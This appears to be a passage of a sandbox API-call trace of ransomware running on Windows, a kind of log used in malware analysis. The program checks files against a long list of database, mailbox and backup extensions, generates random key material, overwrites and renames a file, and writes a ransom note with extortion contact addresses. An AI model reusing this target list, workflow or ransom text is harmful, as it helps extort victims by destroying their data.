	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".SQL") returned 0x0
	[0086.656] lstrlenW (lpString=".pst") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".pst") returned 0x0
	[0086.656] lstrlenW (lpString=".dbv") returned 4
	[0086.656] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dbv") returned 0x0
	[0086.656] lstrlenW (lpString=".SDF") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".SDF") returned 0x0
	[0086.657] lstrlenW (lpString=".dtxs") returned 5
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dtxs") returned 0x0
	[0086.657] lstrlenW (lpString=".db3") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".db3") returned 0x0
	[0086.657] lstrlenW (lpString=".OST") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".OST") returned 0x0
	[0086.657] lstrlenW (lpString=".dbx") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dbx") returned 0x0
	[0086.657] lstrlenW (lpString=".DB3") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DB3") returned 0x0
	[0086.657] lstrlenW (lpString=".DAT") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DAT") returned 0x0
	[0086.657] lstrlenW (lpString=".VHDX") returned 5
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".VHDX") returned 0x0
	[0086.657] lstrlenW (lpString=".ndf") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".ndf") returned 0x0
	[0086.657] lstrlenW (lpString=".DB") returned 3
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DB") returned 0x0
	[0086.657] lstrlenW (lpString=".sql") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".sql") returned 0x0
	[0086.657] lstrlenW (lpString=".MYD") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".MYD") returned 0x0
	[0086.657] lstrlenW (lpString=".DBT") returned 4
	[0086.657] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DBT") returned 0x0
	[0086.658] lstrlenW (lpString=".ACCDB") returned 6
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".ACCDB") returned 0x0
	[0086.658] lstrlenW (lpString=".fdb") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".fdb") returned 0x0
	[0086.658] lstrlenW (lpString=".bak") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".bak") returned 0x0
	[0086.658] lstrlenW (lpString=".myd") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".myd") returned 0x0
	[0086.658] lstrlenW (lpString=".DTXS") returned 5
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".DTXS") returned 0x0
	[0086.658] lstrlenW (lpString=".ckp") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".ckp") returned 0x0
	[0086.658] lstrlenW (lpString=".dbt") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".dbt") returned 0x0
	[0086.658] lstrlenW (lpString=".db") returned 3
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".db") returned 0x0
	[0086.658] lstrlenW (lpString=".TXT") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".TXT") returned 0x0
	[0086.658] lstrlenW (lpString=".MDF") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".MDF") returned 0x0
	[0086.658] lstrlenW (lpString=".bdb") returned 4
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".bdb") returned 0x0
	[0086.658] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.658] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0086.659] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.659] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0086.660] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.660] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0086.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0086.662] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20665237345) returned 1
	[0086.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9d752c30, dwHighDateTime=0x1d60e1e)) 
	[0086.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.662] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fdf0
	[0086.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fdf0 | out: hHeap=0x300000) returned 1
	[0086.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb228
	[0086.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.663] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.663] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0086.663] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0086.663] GetLastError () returned 0x0
	[0086.663] GetLastError () returned 0x0
	[0086.663] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0086.663] GetLastError () returned 0x0
	[0086.664] GetLastError () returned 0x0
	[0086.667] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffd55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.667] WriteFile (in: hFile=0x120, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2ab, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x2ab, lpOverlapped=0x0) returned 1
	[0086.669] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0086.669] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.669] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.669] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.669] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.669] CloseHandle (hObject=0x120) returned 1
	[0086.670] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8e30
	[0086.670] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.inf.~~~~")) returned 1
	[0086.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8e30 | out: hHeap=0x300000) returned 1
	[0086.671] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.671] GetLastError () returned 0x0
	[0086.672] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.672] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.674] CloseHandle (hObject=0x120) returned 1
	[0086.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b91c8 | out: hHeap=0x300000) returned 1
	[0086.674] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.674] RtlWakeConditionVariable () returned 0x365f70
	[0086.674] GetCurrentThreadId () returned 0x3a4
	[0086.675] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0086.675] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0086.676] CloseHandle (hObject=0x120) returned 1
	[0086.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1f98 | out: hHeap=0x300000) returned 1
	[0086.676] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282d428 | out: hHeap=0x300000) returned 1
	[0086.676] RtlWakeConditionVariable () returned 0x365f70
	[0086.676] GetCurrentThreadId () returned 0x3a4
	[0086.677] lstrlenW (lpString=".sqb") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".sqb") returned 0x0
	[0086.677] lstrlenW (lpString=".ost") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".ost") returned 0x0
	[0086.677] lstrlenW (lpString=".txt") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".txt") returned 0x0
	[0086.677] lstrlenW (lpString=".mdt") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".mdt") returned 0x0
	[0086.677] lstrlenW (lpString=".BDB") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".BDB") returned 0x0
	[0086.677] lstrlenW (lpString=".eql") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".eql") returned 0x0
	[0086.677] lstrlenW (lpString=".DBF") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DBF") returned 0x0
	[0086.677] lstrlenW (lpString=".EQL") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".EQL") returned 0x0
	[0086.677] lstrlenW (lpString=".FDB") returned 4
	[0086.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".FDB") returned 0x0
	[0086.677] lstrlenW (lpString=".EDB") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".EDB") returned 0x0
	[0086.678] lstrlenW (lpString=".DACPAC") returned 7
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DACPAC") returned 0x0
	[0086.678] lstrlenW (lpString=".VHD") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".VHD") returned 0x0
	[0086.678] lstrlenW (lpString=".DBV") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DBV") returned 0x0
	[0086.678] lstrlenW (lpString=".dacpac") returned 7
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dacpac") returned 0x0
	[0086.678] lstrlenW (lpString=".sdf") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".sdf") returned 0x0
	[0086.678] lstrlenW (lpString=".accdb") returned 6
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".accdb") returned 0x0
	[0086.678] lstrlenW (lpString=".DBX") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DBX") returned 0x0
	[0086.678] lstrlenW (lpString=".MDT") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".MDT") returned 0x0
	[0086.678] lstrlenW (lpString=".SQB") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".SQB") returned 0x0
	[0086.678] lstrlenW (lpString=".vhd") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".vhd") returned 0x0
	[0086.678] lstrlenW (lpString=".bac") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".bac") returned 0x0
	[0086.678] lstrlenW (lpString=".mdf") returned 4
	[0086.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".mdf") returned 0x0
	[0086.678] lstrlenW (lpString=".BAK") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".BAK") returned 0x0
	[0086.679] lstrlenW (lpString=".BAC") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".BAC") returned 0x0
	[0086.679] lstrlenW (lpString=".dbs") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dbs") returned 0x0
	[0086.679] lstrlenW (lpString=".vhdx") returned 5
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".vhdx") returned 0x0
	[0086.679] lstrlenW (lpString=".NDF") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".NDF") returned 0x0
	[0086.679] lstrlenW (lpString=".dat") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dat") returned 0x0
	[0086.679] lstrlenW (lpString=".DBS") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DBS") returned 0x0
	[0086.679] lstrlenW (lpString=".CKP") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".CKP") returned 0x0
	[0086.679] lstrlenW (lpString=".edb") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".edb") returned 0x0
	[0086.679] lstrlenW (lpString=".PST") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".PST") returned 0x0
	[0086.679] lstrlenW (lpString=".dbf") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dbf") returned 0x0
	[0086.679] lstrlenW (lpString=".SQL") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".SQL") returned 0x0
	[0086.679] lstrlenW (lpString=".pst") returned 4
	[0086.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".pst") returned 0x0
	[0086.679] lstrlenW (lpString=".dbv") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dbv") returned 0x0
	[0086.680] lstrlenW (lpString=".SDF") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".SDF") returned 0x0
	[0086.680] lstrlenW (lpString=".dtxs") returned 5
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dtxs") returned 0x0
	[0086.680] lstrlenW (lpString=".db3") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".db3") returned 0x0
	[0086.680] lstrlenW (lpString=".OST") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".OST") returned 0x0
	[0086.680] lstrlenW (lpString=".dbx") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dbx") returned 0x0
	[0086.680] lstrlenW (lpString=".DB3") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DB3") returned 0x0
	[0086.680] lstrlenW (lpString=".DAT") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DAT") returned 0x0
	[0086.680] lstrlenW (lpString=".VHDX") returned 5
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".VHDX") returned 0x0
	[0086.680] lstrlenW (lpString=".ndf") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".ndf") returned 0x0
	[0086.680] lstrlenW (lpString=".DB") returned 3
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DB") returned 0x0
	[0086.680] lstrlenW (lpString=".sql") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".sql") returned 0x0
	[0086.680] lstrlenW (lpString=".MYD") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".MYD") returned 0x0
	[0086.680] lstrlenW (lpString=".DBT") returned 4
	[0086.680] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DBT") returned 0x0
	[0086.680] lstrlenW (lpString=".ACCDB") returned 6
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".ACCDB") returned 0x0
	[0086.681] lstrlenW (lpString=".fdb") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".fdb") returned 0x0
	[0086.681] lstrlenW (lpString=".bak") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".bak") returned 0x0
	[0086.681] lstrlenW (lpString=".myd") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".myd") returned 0x0
	[0086.681] lstrlenW (lpString=".DTXS") returned 5
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".DTXS") returned 0x0
	[0086.681] lstrlenW (lpString=".ckp") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".ckp") returned 0x0
	[0086.681] lstrlenW (lpString=".dbt") returned 4
	[0086.681] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpSrch=".dbt") returned 0x0
	[0086.681] lstrlenW (lpString=".db") returned 3
